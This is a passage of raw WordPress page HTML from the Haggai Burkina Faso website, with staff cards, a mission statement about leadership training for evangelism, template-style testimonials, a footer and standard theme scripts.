c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg><span class="wp-block-social-link-label screen-reader-text">Instagram</span></a></li><li class="wp-social-link wp-social-link-linkedin wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg><span class="wp-block-social-link-label screen-reader-text">LinkedIn</span></a></li><li class="wp-social-link wp-social-link-x wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg><span class="wp-block-social-link-label screen-reader-text">X</span></a></li></ul></div></div></div></div><div class="wp-block-column is-vertically-aligned-top is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-gap-md wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><figure class="nfd-rounded-sm wp-block-image size-large"><img decoding="async" src="https://images.unsplash.com/photo-1577880216142-8549e9488dad?w=200&#038;fit=crop&#038;w=600&#038;h=600&#038;crop=faces" alt="" style="aspect-ratio: 1; object-fit: cover" /></figure><div class="nfd-gap-sm wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><div class="nfd-gap-0 wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-align-left wp-block-paragraph"><strong>Julian Fischer</strong></p><p class="nfd-text-base nfd-text-faded has-text-align-left wp-block-paragraph">Vendor Management</p></div><div class="nfd-text-pretty nfd-text-sm nfd-text-faded wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><p class="wp-block-paragraph">We are committed to providing exclusive vendor partnerships, making your vision for your event come to life in the most extraordinary way.</p></div><div style="height:0px" aria-hidden="true" class="wp-block-spacer wp-container-content-9760934e"></div><div class="wp-block-group is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-0d004395 wp-block-group-is-layout-flex"><ul class="is-style-logos-only nfd-gap-md wp-block-social-links has-small-icon-size is-content-justification-left is-layout-flex wp-container-core-social-links-is-layout-63375db1 wp-block-social-links-is-layout-flex"><li class="wp-social-link wp-social-link-instagram wp-block-social-link"><a href="https://instagram.com" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg><span class="wp-block-social-link-label screen-reader-text">Instagram</span></a></li><li class="wp-social-link wp-social-link-linkedin wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg><span class="wp-block-social-link-label screen-reader-text">LinkedIn</span></a></li><li class="wp-social-link wp-social-link-x wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg><span class="wp-block-social-link-label screen-reader-text">X</span></a></li></ul></div></div></div></div><div class="wp-block-column is-vertically-aligned-top is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-gap-md wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><figure class="nfd-rounded-sm wp-block-image size-large"><img decoding="async" src="https://images.unsplash.com/photo-1649399041424-0d758fba690b?w=200&#038;fit=crop&#038;w=600&#038;h=600&#038;crop=faces" alt="" style="aspect-ratio: 1; object-fit: cover" /></figure><div class="nfd-gap-sm wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><div class="nfd-gap-0 wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-align-left wp-block-paragraph"><strong>Rania Ahmad</strong></p><p class="nfd-text-base nfd-text-faded has-text-align-left wp-block-paragraph">Vendor Management</p></div><div class="nfd-text-pretty nfd-text-sm nfd-text-faded wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><p class="wp-block-paragraph">We are committed to providing exclusive vendor partnerships, making your vision for your event come to life in the most extraordinary way.</p></div><div style="height:0px" aria-hidden="true" class="wp-block-spacer wp-container-content-9760934e"></div><div class="wp-block-group is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-0d004395 wp-block-group-is-layout-flex"><ul class="is-style-logos-only nfd-gap-md wp-block-social-links has-small-icon-size is-content-justification-left is-layout-flex wp-container-core-social-links-is-layout-63375db1 wp-block-social-links-is-layout-flex"><li class="wp-social-link wp-social-link-instagram wp-block-social-link"><a href="https://instagram.com" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg><span class="wp-block-social-link-label screen-reader-text">Instagram</span></a></li><li class="wp-social-link wp-social-link-linkedin wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg><span class="wp-block-social-link-label screen-reader-text">LinkedIn</span></a></li><li class="wp-social-link wp-social-link-x wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg><span class="wp-block-social-link-label screen-reader-text">X</span></a></li></ul></div></div></div></div></div></div><div class="wp-block-group nfd-container nfd-text-md nfd-wb-text__text-6 is-layout-constrained wp-block-group-is-layout-constrained" ><div class="nfd-gap-xl wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex"><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"><h2 class="nfd-text-xl nfd-text-balance wp-block-heading" style="font-style:normal;font-weight:600">Empowering Leaders for Evangelism in Burkina Faso</h2></div><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"><p class="wp-block-paragraph">Haggai Burkina Faso is dedicated to equipping leaders with the necessary skills and knowledge to effectively engage in evangelism. Our programs focus on fostering leadership qualities that inspire community service and religious activities, ensuring a positive impact in the region.</p><p class="wp-block-paragraph">Our mission is to create a network of empowered leaders who are passionate about spreading the message of hope and faith. We believe that through effective training and support, individuals can transform their communities and contribute to a greater cause.</p></div><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"><p class="wp-block-paragraph">At Haggai Burkina Faso, we envision a future where every leader is equipped to make a difference. Our vision encompasses not only personal growth but also the development of a supportive community that thrives on shared values and collective efforts.</p><p class="wp-block-paragraph">Join us in our journey to empower leaders across Burkina Faso. Together, we can foster a culture of evangelism and community service that uplifts individuals and strengthens our society as a whole.</p></div></div></div><div class="wp-block-group nfd-container nfd-p-lg nfd-theme-white nfd-bg-surface nfd-wb-testimonials__testimonials-1 is-layout-constrained wp-block-group-is-layout-constrained" ><div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex"><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:40%"><div class="nfd-gap-2xl wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><h2 class="nfd-text-huge wp-block-heading">What Our Community Says About Us</h2><div class="nfd-gap-lg wp-block-group is-content-justification-left is-layout-flex wp-container-core-group-is-layout-bc29a5f0 wp-block-group-is-layout-flex"><div class="nfd-overlap-x nfd-border-bg wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex"><figure class="is-style-rounded wp-block-image size-large is-resized has-custom-border"><img decoding="async" src="https://images.unsplash.com/photo-1600728658141-03d080a1bf55?q=80&#038;auto=format&#038;fit=crop&#038;w=120&#038;h=120&#038;crop=faces" alt="" style="border-width:2px;aspect-ratio:1;object-fit:cover;width:50px"/></figure><figure class="is-style-rounded wp-block-image size-large is-resized has-custom-border"><img decoding="async" src="https://images.unsplash.com/photo-1547360649-d24a4bdfb16e?q=80&#038;auto=format&#038;fit=crop&#038;w=120&#038;h=120&#038;crop=faces" alt="" style="border-width:2px;aspect-ratio:1;object-fit:cover;width:50px"/></figure><figure class="is-style-rounded wp-block-image size-large is-resized has-custom-border"><img decoding="async" src="https://images.unsplash.com/photo-1571109216779-6ccc20727c0a?q=80&#038;auto=format&#038;fit=crop&#038;w=120&#038;h=120&#038;crop=faces" alt="" style="border-width:2px;aspect-ratio:1;object-fit:cover;width:50px"/></figure><figure class="is-style-rounded wp-block-image size-large is-resized has-custom-border"><img decoding="async" src="https://images.unsplash.com/photo-1580076905521-abcea81b6c02?q=80&#038;auto=format&#038;fit=crop&#038;w=120&#038;h=120&#038;crop=faces" alt="" style="border-width:2px;aspect-ratio:1;object-fit:cover;width:50px"/></figure></div><div class="nfd-gap-0 wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-color wp-block-paragraph" style="color:#fab906;letter-spacing:2px">★★★★★</p><p class="nfd-text-base wp-block-paragraph">Average Rating: 4.8 out of 5 based on 150 reviews</p></div></div><div style="height:16px" aria-hidden="true" class="wp-block-spacer"></div></div></div><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-theme-light nfd-bg-surface nfd-rounded nfd-text-balance nfd-p-card-md nfd-gap-md wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-balance wp-block-paragraph"><strong>Inspiring Community Engagement</strong></p><div class="nfd-pl-offset-md nfd-text-balance nfd-text-base wp-block-group is-layout-constrained wp-block-group-is-layout-constrained" style="border-left-width: 3px"><p class="wp-block-paragraph">The community engagement initiatives have opened doors for meaningful connections and outreach opportunities. I am grateful for the guidance and support.</p></div><div class="nfd-gap-xs wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-color wp-block-paragraph" style="color:#fab906;letter-spacing:2px">★★★★★</p><p class="nfd-text-base has-text-align-left wp-block-paragraph">Emily Davis</p></div></div><div class="nfd-theme-light nfd-bg-surface nfd-rounded nfd-text-balance nfd-p-card-md nfd-gap-md wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-balance wp-block-paragraph"><strong>Life-Changing Experiences</strong></p><div class="nfd-pl-offset-md nfd-text-balance nfd-text-base wp-block-group is-layout-constrained wp-block-group-is-layout-constrained" style="border-left-width: 3px"><p class="wp-block-paragraph">Participating in Haggai&rsquo;s programs has been a life-changing experience for me. I have gained confidence and skills that I can apply in my daily life.</p></div><div class="nfd-gap-xs wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-color wp-block-paragraph" style="color:#fab906;letter-spacing:2px">★★★★★</p><p class="nfd-text-base has-text-align-left wp-block-paragraph">John Doe</p></div></div></div><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-theme-light nfd-bg-surface nfd-rounded nfd-text-balance nfd-p-card-md nfd-gap-md wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-balance wp-block-paragraph"><strong>Transformative Leadership Training</strong></p><div class="nfd-pl-offset-md nfd-text-balance nfd-text-base wp-block-group is-layout-constrained wp-block-group-is-layout-constrained" style="border-left-width: 3px"><p class="wp-block-paragraph">The training I received from Haggai has profoundly impacted my ability to lead and evangelize effectively in my community. I feel equipped to make a difference!</p></div><div class="nfd-gap-xs wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-color wp-block-paragraph" style="color:#fab906;letter-spacing:2px">★★★★★</p><p class="nfd-text-base has-text-align-left wp-block-paragraph">Jane Smith</p></div></div><div class="nfd-theme-light nfd-bg-surface nfd-rounded nfd-text-balance nfd-p-card-md nfd-gap-md wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-balance wp-block-paragraph"><strong>Empowering Evangelism Initiatives</strong></p><div class="nfd-pl-offset-md nfd-text-balance nfd-text-base wp-block-group is-layout-constrained wp-block-group-is-layout-constrained" style="border-left-width: 3px"><p class="wp-block-paragraph">Haggai&rsquo;s programs have empowered me to take on leadership roles in evangelism. The support and resources provided are invaluable for anyone looking to make a positive impact.</p></div><div class="nfd-gap-xs wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-color wp-block-paragraph" style="color:#fab906;letter-spacing:2px">★★★★★</p><p class="nfd-text-base has-text-align-left wp-block-paragraph">Michael Johnson</p></div></div></div></div></div>					</div>

				
				</article>

			

			</div>

					</div>
	</div>


</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"8","unique_test_id":"","ab_bounce_rate":"5","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
